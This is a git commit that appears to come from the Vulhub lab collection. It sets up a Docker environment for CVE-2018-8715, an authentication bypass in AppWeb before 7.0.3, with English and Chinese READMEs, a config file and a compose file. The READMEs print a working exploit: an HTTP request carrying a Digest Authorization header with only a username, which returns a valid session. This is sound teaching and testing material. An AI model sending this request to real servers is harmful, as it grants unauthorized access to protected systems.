first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
appweb/CVE-2018-8715/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

BIN
appweb/CVE-2018-8715/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

View File

@@ -0,0 +1,52 @@
# AppWeb Authentication Bypass vulnerability (CVE-2018-8715)
[中文版本(Chinese version)](README.zh-cn.md)
AppWeb is an embedded Web Server based on an open source GPL agreement that was developed and maintained by Embedthis Software LLC. It is written in C/C++ and can run on almost any modern operating system. Of course, it aims to provide a Web Application container for embedded devices.
AppWeb can be configured for authentication, which includes the following three authentication methods:
- `basic`, traditional HTTP basic authentication
- `digest`, improved HTTP basic authentication. At this mode, the Cookie will be used to authentication instead of `Authorization` header.
- `form`, HTML based form authentication
In the Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in `http/httpLib.c`. With a forged HTTP request, it is possible to bypass authentication for the `form` and `digest` login types.
Reference link:
- https://ssd-disclosure.com/index.php/archives/3676
## Vulnerability environment
Launch an Appweb 7.0.1 server with `digest` authentication by executing the following command:
```
docker compose up -d
```
To access `http://your-ip:8080`, you need to enter your account password.
## Exploit
The current username is `admin`, so you can use following request to bypass the authentication:
```
GET / HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Digest username=admin
```
As you can see, since we did not pass in the password field, the server error occurred with a `200 status code` and the session setting header:
![](1.png)
The page can be accessed normally with this session header:
![](2.png)

View File

@@ -0,0 +1,52 @@
# AppWeb认证绕过漏洞CVE-2018-8715
AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。
AppWeb可以进行认证配置其认证方式包括以下三种
- basic 传统HTTP基础认证
- digest 改进版HTTP基础认证认证成功后将使用Cookie来保存状态而不用再传递Authorization头
- form 表单认证
其7.0.3之前的版本中对于digest和form两种认证方式如果用户传入的密码为`null`也就是没有传递密码参数appweb将因为一个逻辑错误导致直接认证成功并返回session。
参考链接:
- https://ssd-disclosure.com/index.php/archives/3676
## 漏洞环境
执行如下命令启动一个带有digest认证的Appweb 7.0.1服务器:
```
docker compose up -d
```
访问`http://your-ip:8080`,可见需要输入账号密码。
## 漏洞复现
利用该漏洞需要知道一个已存在的用户名,当前环境下用户名为`admin`
构造头`Authorization: Digest username=admin`,并发送如下数据包:
```
GET / HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Digest username=admin
```
可见因为我们没有传入密码字段所以服务端出现错误直接返回了200且包含一个session
![](1.png)
设置这个session到浏览器即可正常访问需要认证的页面
![](2.png)

View File

@@ -0,0 +1,8 @@
Listen 0.0.0.0:8080
Documents "/var/www/appweb"
AddHandler fileHandler
AuthStore config
User admin 2fd6e47ff9bb70c0465fd2f5c8e5305e user
AuthType digest example.com

View File

@@ -0,0 +1,8 @@
version: '2'
services:
web:
image: vulhub/appweb:7.0.1
volumes:
- ./appweb.conf:/etc/appweb/appweb.conf
ports:
- "8080:8080"